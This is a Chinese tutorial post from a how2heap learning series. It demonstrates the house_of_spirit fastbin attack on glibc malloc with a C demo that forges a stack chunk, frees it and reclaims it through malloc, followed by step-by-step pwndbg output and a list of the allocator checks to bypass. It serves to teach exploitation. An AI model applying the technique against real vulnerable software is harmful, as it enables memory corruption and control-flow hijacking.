从零开始学howtoheap:fastbins的house_of_spirit攻击实操

2024-02-11 13:04

本文主要是介绍从零开始学howtoheap:fastbins的house_of_spirit攻击实操,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

 how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

1.fastbins的house_of_spirit攻击

house_of_spirit是一种fastbins攻击方法,通过构造fake chunk,然后将其free掉,就可以在下一次malloc时返回fake chunk的地址,即任意我们可控的区域。House_of_spirit是一种通过堆的fast bin机制来辅助栈溢出的方法,一般的栈溢出漏洞的利用都希望能够覆盖函数的返回地址以控制EIP来劫持控制流,但如果栈溢出的长度无法覆盖返回地址,同时却可以覆盖栈上的一个即将被free的堆指针,此时可以将这个指针改写为栈上的地址并在相应位置构造一个fast bin块的元数据,接着在free操作时,这个栈上的堆块被放到fast bin中,下一次malloc对应的大小时,由于fast bin的先进后出机制,这个栈上的堆块被返回给用户,再次写入时就可能造成返回地址的改写。所以利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个fake chunk。所以 fake chunk的伪造是关键。

2.house_of_spirit演示程序

#include <stdio.h>
#include <stdlib.h>int main()
{fprintf(stderr, "这个例子演示了 house of spirit 攻击\n");fprintf(stderr, "我们将构造一个 fake chunk 然后释放掉它,这样再次申请的时候就会申请到它\n");malloc(1);fprintf(stderr, "覆盖一个指向 fastbin 的指针\n");unsigned long long *a, *b;unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));fprintf(stderr, "这块区域 (长度为: %lu) 包含两个 chunk. 第一个在 %p 第二个在 %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);fprintf(stderr, "构造 fake chunk 的 size,要比 chunk 大 0x10(因为 chunk 头),同时还要保证属于 fastbin,对于 fastbin 来说 prev_inuse 不会改变,但是其他两个位需要注意都要位 0\n");fake_chunks[1] = 0x40; // sizefprintf(stderr, "next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)\n");// 这是fake_chunks[?]可以数一下fake_chunks[9] = 0x1234; // nextsizefake_chunks[2] = 0x4141414141414141LL;fake_chunks[10] = 0x4141414141414141LL;fprintf(stderr, "现在,我们拿伪造的那个 fake chunk 的地址进行 free, %p.\n", &fake_chunks[2]);a = &fake_chunks[2];fprintf(stderr, "free!\n");free(a);fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);b = malloc(0x30);fprintf(stderr, "malloc(0x30): %p\n", b);b[0] = 0x4242424242424242LL;fprintf(stderr, "ok!\n");return 0;
}

3.调试house_of_spirit

3.1 获得可执行程序 

gcc -g house_of_spirit.c -o house_of_spirit

3.2 第一次调试程序

调试环境搭建可参考环境从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

root@pwn_test1604:/ctf/work/how2heap# gdb ./house_of_spirit
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./house_of_spirit...done.
pwndbg> r
Starting program: /ctf/work/how2heap/house_of_spirit 
这个例子演示了 house of spirit 攻击
我们将构造一个 fake chunk 然后释放掉它,这样再次申请的时候就会申请到它
覆盖一个指向 fastbin 的指针
这块区域 (长度为: 80) 包含两个 chunk. 第一个在 0x7fffffffe568 第二个在 0x7fffffffe5a8.
构造 fake chunk 的 size,要比 chunk 大 0x10(因为 chunk 头),同时还要保证属于 fastbin,对于 fastbin 来说 prev_inuse 不会改变,但是其他两个位需要注意都要位 0
next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)
现在,我们拿伪造的那个 fake chunk 的地址进行 free, 0x7fffffffe570.
free!
现在 malloc 的时候将会把 0x7fffffffe570 给返回回来
malloc(0x30): 0x7fffffffe570
ok!
[Inferior 1 (process 68) exited normally]
pwndbg> 

3.3 第二次调试程序

3.3.1 首先在程序的第 14 行下个断点

运行到这里可以看到 fake_chunk 目前还没有被我们写入。

pwndbg> b 14
Breakpoint 1 at 0x400721: file house_of_spirit.c, line 14.
pwndbg> c
The program is not being run.
pwndbg> r
Starting program: /ctf/work/how2heap/house_of_spirit 
这个例子演示了 house of spirit 攻击
我们将构造一个 fake chunk 然后释放掉它,这样再次申请的时候就会申请到它
覆盖一个指向 fastbin 的指针Breakpoint 1, main () at house_of_spirit.c:15
15          fprintf(stderr, "这块区域 (长度为: %lu) 包含两个 chunk. 第一个在 %p 第二个在 %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x25RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x400900 (__libc_csu_init+80) ◂— add    dword ptr [rax + 0x39], ecxR8   0x25R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887R10  0x1R11  0x246R12  0x4005b0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe550 ◂— 0x1RIP  0x400721 (main+123) ◂— mov    rax, qword ptr [rip + 0x200938]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400721 <main+123>    mov    rax, qword ptr [rip + 0x200938] <0x601060>0x400728 <main+130>    lea    rdx, [rbp - 0x60]0x40072c <main+134>    lea    rcx, [rdx + 0x48]0x400730 <main+138>    lea    rdx, [rbp - 0x60]0x400734 <main+142>    add    rdx, 80x400738 <main+146>    mov    r8, rcx0x40073b <main+149>    mov    rcx, rdx0x40073e <main+152>    mov    edx, 0x500x400743 <main+157>    mov    esi, 0x4009f80x400748 <main+162>    mov    rdi, rax0x40074b <main+165>    mov    eax, 0
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c10 11     fprintf(stderr, "覆盖一个指向 fastbin 的指针\n");12     unsigned long long *a, *b;13     unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));14 ► 15     fprintf(stderr, "这块区域 (长度为: %lu) 包含两个 chunk. 第一个在 %p 第二个在 %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);16 17     fprintf(stderr, "构造 fake chunk 的 size,要比 chunk 大 0x10(因为 chunk 头),同时还要保证属于 fastbin,对于 fastbin 来说 prev_inuse 不会改变,但是其他两个位需要注意都要位 0\n");18     fake_chunks[1] = 0x40; // size19 20     fprintf(stderr, "next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)\n");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe550 ◂— 0x1
01:0008│      0x7fffffffe558 —▸ 0x7fffffffe6b8 —▸ 0x7fffffffe8fa ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
02:0010│      0x7fffffffe560 ◂— 0x1
03:0018│      0x7fffffffe568 —▸ 0x7fffffffe5e0 ◂— 0x1f7b99608
04:0020│      0x7fffffffe570 —▸ 0x7ffff7ffe168 ◂— 0x0
05:0028│      0x7fffffffe578 ◂— 0x0
06:0030│      0x7fffffffe580 ◂— 0x1
07:0038│      0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add    rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400721 main+123f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_spirit.c:14
pwndbg> p &fake_chunks
$1 = (unsigned long long (*)[10]) 0x7fffffffe560
pwndbg> x/20gx 0x7fffffffe560
0x7fffffffe560: 0x0000000000000001      0x00007fffffffe5e0
0x7fffffffe570: 0x00007ffff7ffe168      0x0000000000000000
0x7fffffffe580: 0x0000000000000001      0x00000000004008fd
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x00000000004008b0      0x00000000004005b0
0x7fffffffe5b0: 0x00007fffffffe6a0      0xe41e9f64d2643f00
0x7fffffffe5c0: 0x00000000004008b0      0x00007ffff7a2d830
0x7fffffffe5d0: 0x00007fffffffe6a8      0x00007fffffffe6a8
0x7fffffffe5e0: 0x00000001f7b99608      0x00000000004006a6
0x7fffffffe5f0: 0x0000000000000000      0x21d19120b01fed91
pwndbg> 
3.3.2 我们直接让他写完,断点第23行

再来看一下,已经构造出fake chunk了。

pwndbg> b 23
Breakpoint 2 at 0x4007a1: file house_of_spirit.c, line 23.
pwndbg> c
Continuing.
构造 fake chunk 的 size,要比 chunk 大 0x10(因为 chunk 头),同时还要保证属于 fastbin,对于 fastbin 来说 prev_inuse 不会改变,但是其他两个位需要注意都要位 0
next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)Breakpoint 2, main () at house_of_spirit.c:23
23          fake_chunks[2] = 0x4141414141414141LL;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x53RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x400b00 ◂— in     al, 0xbdR8   0x53R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887R10  0x1R11  0x246R12  0x4005b0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe550 ◂— 0x1RIP  0x4007a1 (main+251) ◂— movabs rax, 0x4141414141414141
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x4007a1 <main+251>    movabs rax, 0x41414141414141410x4007ab <main+261>    mov    qword ptr [rbp - 0x50], rax0x4007af <main+265>    movabs rax, 0x41414141414141410x4007b9 <main+275>    mov    qword ptr [rbp - 0x10], rax0x4007bd <main+279>    mov    rax, qword ptr [rip + 0x20089c] <0x601060>0x4007c4 <main+286>    lea    rdx, [rbp - 0x60]0x4007c8 <main+290>    add    rdx, 0x100x4007cc <main+294>    mov    esi, 0x400b780x4007d1 <main+299>    mov    rdi, rax0x4007d4 <main+302>    mov    eax, 00x4007d9 <main+307>    call   fprintf@plt <0x400570>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c18     fake_chunks[1] = 0x40; // size19 20     fprintf(stderr, "next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)\n");21         // 这是fake_chunks[?]可以数一下22     fake_chunks[9] = 0x1234; // nextsize► 23     fake_chunks[2] = 0x4141414141414141LL;24     fake_chunks[10] = 0x4141414141414141LL;25 26     fprintf(stderr, "现在,我们拿伪造的那个 fake chunk 的地址进行 free, %p.\n", &fake_chunks[2]);27     a = &fake_chunks[2];28 
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe550 ◂— 0x1
01:0008│      0x7fffffffe558 —▸ 0x7fffffffe6b8 —▸ 0x7fffffffe8fa ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
02:0010│      0x7fffffffe560 ◂— 0x1
03:0018│      0x7fffffffe568 ◂— 0x40 /* '@' */
04:0020│      0x7fffffffe570 —▸ 0x7ffff7ffe168 ◂— 0x0
05:0028│      0x7fffffffe578 ◂— 0x0
06:0030│      0x7fffffffe580 ◂— 0x1
07:0038│      0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add    rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           4007a1 main+251f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_spirit.c:23
pwndbg> x/20gx 0x7fffffffe560
0x7fffffffe560: 0x0000000000000001      0x0000000000000040
0x7fffffffe570: 0x00007ffff7ffe168      0x0000000000000000
0x7fffffffe580: 0x0000000000000001      0x00000000004008fd
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x00000000004008b0      0x0000000000001234
0x7fffffffe5b0: 0x00007fffffffe6a0      0xe41e9f64d2643f00
0x7fffffffe5c0: 0x00000000004008b0      0x00007ffff7a2d830
0x7fffffffe5d0: 0x00007fffffffe6a8      0x00007fffffffe6a8
0x7fffffffe5e0: 0x00000001f7b99608      0x00000000004006a6
0x7fffffffe5f0: 0x0000000000000000      0x21d19120b01fed91
pwndbg> 
3.3.3对fake chunk进行free之后。断点第30行

可以看一下fastbin,现在已经有了我们构造的哪个fake chunk了。

pwndbg> b 30
Breakpoint 3 at 0x400808: file house_of_spirit.c, line 30.
pwndbg> c
Continuing.
现在,我们拿伪造的那个 fake chunk 的地址进行 free, 0x7fffffffe570.
free!Breakpoint 3, main () at house_of_spirit.c:30
30          free(a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x6RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x400b00 ◂— in     al, 0xbdR8   0x6R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887R10  0x1R11  0x246R12  0x4005b0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 'AAAAAAAA'RIP  0x400808 (main+354) ◂— mov    rax, qword ptr [rbp - 0x70]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400808 <main+354>    mov    rax, qword ptr [rbp - 0x70]0x40080c <main+358>    mov    rdi, rax0x40080f <main+361>    call   free@plt <0x400540>0x400814 <main+366>    mov    rax, qword ptr [rip + 0x200845] <0x601060>0x40081b <main+373>    lea    rdx, [rbp - 0x60]0x40081f <main+377>    add    rdx, 0x100x400823 <main+381>    mov    esi, 0x400bc80x400828 <main+386>    mov    rdi, rax0x40082b <main+389>    mov    eax, 00x400830 <main+394>    call   fprintf@plt <0x400570>0x400835 <main+399>    mov    edi, 0x30
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c25 26     fprintf(stderr, "现在,我们拿伪造的那个 fake chunk 的地址进行 free, %p.\n", &fake_chunks[2]);27     a = &fake_chunks[2];28 29     fprintf(stderr, "free!\n");► 30     free(a);31 32     fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);33     b = malloc(0x30);34     fprintf(stderr, "malloc(0x30): %p\n", b);35     b[0] = 0x4242424242424242LL;
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 'AAAAAAAA'
01:0008│      0x7fffffffe558 —▸ 0x7fffffffe6b8 —▸ 0x7fffffffe8fa ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
02:0010│      0x7fffffffe560 ◂— 0x1
03:0018│      0x7fffffffe568 ◂— 0x40 /* '@' */
04:0020│      0x7fffffffe570 ◂— 'AAAAAAAA'
05:0028│      0x7fffffffe578 ◂— 0x0
06:0030│      0x7fffffffe580 ◂— 0x1
07:0038│      0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add    rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400808 main+354f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_spirit.c:30
pwndbg> n
32          fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x0RBX  0x0RCX  0x7ffff7b04200 (__openat_2+16) ◂— cmp    eax, 0x410000 /* '=' */RDX  0x0RDI  0xffffffffRSI  0x7ffff7dd1b38 (main_arena+24) —▸ 0x7fffffffe560 ◂— 0x1R8   0x7fffffffe570 ◂— 0x0R9   0x7ffff7dd2500 (_nl_global_locale+224) —▸ 0x7ffff7b9b997 (_nl_C_name) ◂— add    byte ptr [r15 + 0x5f], bl /* 'C' */R10  0x8b8R11  0x7ffff7a914f0 (free) ◂— push   r13R12  0x4005b0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 0x0RIP  0x400814 (main+366) ◂— mov    rax, qword ptr [rip + 0x200845]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x400808 <main+354>    mov    rax, qword ptr [rbp - 0x70]0x40080c <main+358>    mov    rdi, rax0x40080f <main+361>    call   free@plt <0x400540>► 0x400814 <main+366>    mov    rax, qword ptr [rip + 0x200845] <0x601060>0x40081b <main+373>    lea    rdx, [rbp - 0x60]0x40081f <main+377>    add    rdx, 0x100x400823 <main+381>    mov    esi, 0x400bc80x400828 <main+386>    mov    rdi, rax0x40082b <main+389>    mov    eax, 00x400830 <main+394>    call   fprintf@plt <0x400570>0x400835 <main+399>    mov    edi, 0x30
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c27     a = &fake_chunks[2];28 29     fprintf(stderr, "free!\n");30     free(a);31 ► 32     fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);33     b = malloc(0x30);34     fprintf(stderr, "malloc(0x30): %p\n", b);35     b[0] = 0x4242424242424242LL;36     fprintf(stderr, "ok!\n");37     return 0;
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 0x0
01:0008│      0x7fffffffe558 —▸ 0x7fffffffe6b8 —▸ 0x7fffffffe8fa ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
02:0010│      0x7fffffffe560 ◂— 0x1
03:0018│      0x7fffffffe568 ◂— 0x40 /* '@' */
04:0020│ r8   0x7fffffffe570 ◂— 0x0
... ↓
06:0030│      0x7fffffffe580 ◂— 0x1
07:0038│      0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add    rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400814 main+366f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> x/20gx 0x7fffffffe560
0x7fffffffe560: 0x0000000000000001      0x0000000000000040
0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x0000000000000001      0x00000000004008fd
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x00000000004008b0      0x0000000000001234
0x7fffffffe5b0: 0x4141414141414141      0xe41e9f64d2643f00
0x7fffffffe5c0: 0x00000000004008b0      0x00007ffff7a2d830
0x7fffffffe5d0: 0x00007fffffffe6a8      0x00007fffffffe6a8
0x7fffffffe5e0: 0x00000001f7b99608      0x00000000004006a6
0x7fffffffe5f0: 0x0000000000000000      0x21d19120b01fed91
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x7fffffffe560 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> 
3.3.4 接下来再次malloc一个相同大小的chunk,断点第35行

会把fastbin中的fake chunk申请过去。

empty
pwndbg> b 35
Breakpoint 4 at 0x400860: file house_of_spirit.c, line 35.
pwndbg> c
Continuing.
现在 malloc 的时候将会把 0x7fffffffe570 给返回回来
malloc(0x30): 0x7fffffffe570Breakpoint 4, main () at house_of_spirit.c:35
35          b[0] = 0x4242424242424242LL;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x1dRBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x7fffffffbec0 ◂— 0x3028636f6c6c616d ('malloc(0')R8   0x7ffff7feb700 ◂— 0x7ffff7feb700R9   0x1dR10  0x0R11  0x246R12  0x4005b0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 0x0RIP  0x400860 (main+442) ◂— mov    rax, qword ptr [rbp - 0x68]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400860 <main+442>    mov    rax, qword ptr [rbp - 0x68]0x400864 <main+446>    movabs rcx, 0x42424242424242420x40086e <main+456>    mov    qword ptr [rax], rcx0x400871 <main+459>    mov    rax, qword ptr [rip + 0x2007e8] <0x601060>0x400878 <main+466>    mov    rcx, rax0x40087b <main+469>    mov    edx, 40x400880 <main+474>    mov    esi, 10x400885 <main+479>    mov    edi, 0x400c0f0x40088a <main+484>    call   fwrite@plt <0x400590>0x40088f <main+489>    mov    eax, 00x400894 <main+494>    mov    rsi, qword ptr [rbp - 8]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c30     free(a);31 32     fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);33     b = malloc(0x30);34     fprintf(stderr, "malloc(0x30): %p\n", b);► 35     b[0] = 0x4242424242424242LL;36     fprintf(stderr, "ok!\n");37     return 0;38 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 0x0
... ↓
02:0010│      0x7fffffffe560 ◂— 0x1
03:0018│      0x7fffffffe568 ◂— 0x40 /* '@' */
04:0020│      0x7fffffffe570 ◂— 0x0
... ↓
06:0030│      0x7fffffffe580 ◂— 0x1
07:0038│      0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add    rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400860 main+442f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_spirit.c:35
pwndbg> n
36          fprintf(stderr, "ok!\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x7fffffffe570 ◂— 'BBBBBBBB'RBX  0x0RCX  0x4242424242424242 ('BBBBBBBB')RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x7fffffffbec0 ◂— 0x3028636f6c6c616d ('malloc(0')R8   0x7ffff7feb700 ◂— 0x7ffff7feb700R9   0x1dR10  0x0R11  0x246R12  0x4005b0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 'BBBBBBBB'RIP  0x400871 (main+459) ◂— mov    rax, qword ptr [rip + 0x2007e8]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x400860 <main+442>    mov    rax, qword ptr [rbp - 0x68]0x400864 <main+446>    movabs rcx, 0x42424242424242420x40086e <main+456>    mov    qword ptr [rax], rcx► 0x400871 <main+459>    mov    rax, qword ptr [rip + 0x2007e8] <0x601060>0x400878 <main+466>    mov    rcx, rax0x40087b <main+469>    mov    edx, 40x400880 <main+474>    mov    esi, 10x400885 <main+479>    mov    edi, 0x400c0f0x40088a <main+484>    call   fwrite@plt <0x400590>0x40088f <main+489>    mov    eax, 00x400894 <main+494>    mov    rsi, qword ptr [rbp - 8]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c31 32     fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);33     b = malloc(0x30);34     fprintf(stderr, "malloc(0x30): %p\n", b);35     b[0] = 0x4242424242424242LL;► 36     fprintf(stderr, "ok!\n");37     return 0;38 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 'BBBBBBBB'
... ↓
02:0010│      0x7fffffffe560 ◂— 0x1
03:0018│      0x7fffffffe568 ◂— 0x40 /* '@' */
04:0020│ rax  0x7fffffffe570 ◂— 'BBBBBBBB'
05:0028│      0x7fffffffe578 ◂— 0x0
06:0030│      0x7fffffffe580 ◂— 0x1
07:0038│      0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add    rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400871 main+459f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> x/20gx 0x7fffffffe560
0x7fffffffe560: 0x0000000000000001      0x0000000000000040
0x7fffffffe570: 0x4242424242424242      0x0000000000000000
0x7fffffffe580: 0x0000000000000001      0x00000000004008fd
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x00000000004008b0      0x0000000000001234
0x7fffffffe5b0: 0x4141414141414141      0xe41e9f64d2643f00
0x7fffffffe5c0: 0x00000000004008b0      0x00007ffff7a2d830
0x7fffffffe5d0: 0x00007fffffffe6a8      0x00007fffffffe6a8
0x7fffffffe5e0: 0x00000001f7b99608      0x00000000004006a6
0x7fffffffe5f0: 0x0000000000000000      0x21d19120b01fed91

3.4 总结

伪造chunk时需要绕过一些检查,首先是标志位,PREV_INUSE 位并不影响 free的过程,但 IS_MMAPPED 位和 NON_MAIN_ARENA 位都要为零。其次,在64位系统中fast chunk的大小要在 32~128 字节之间。最后,是next chunk的大小,必须大于 2*SIZE_SZ(即大于16),小于 av->system_mem(即小于128kb),才能绕过对next chunk大小的检查。

​ 所以house_of_spirit的主要目的是,当我们伪造的fake chunk内部存在不可控区域时,运用这一技术可以将这片区域变成可控的。上面为了方便观察,在 fake chunk里填充一些字母,但在现实中这些位置很可能是不可控的,而house_of_spirit也正是以此为目的而出现的。

 4.参考资料

【PWN】how2heap | 狼组安全团队公开知识库

这篇关于从零开始学howtoheap:fastbins的house_of_spirit攻击实操的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/699843

相关文章

速盾高防cdn是怎么解决网站攻击的?

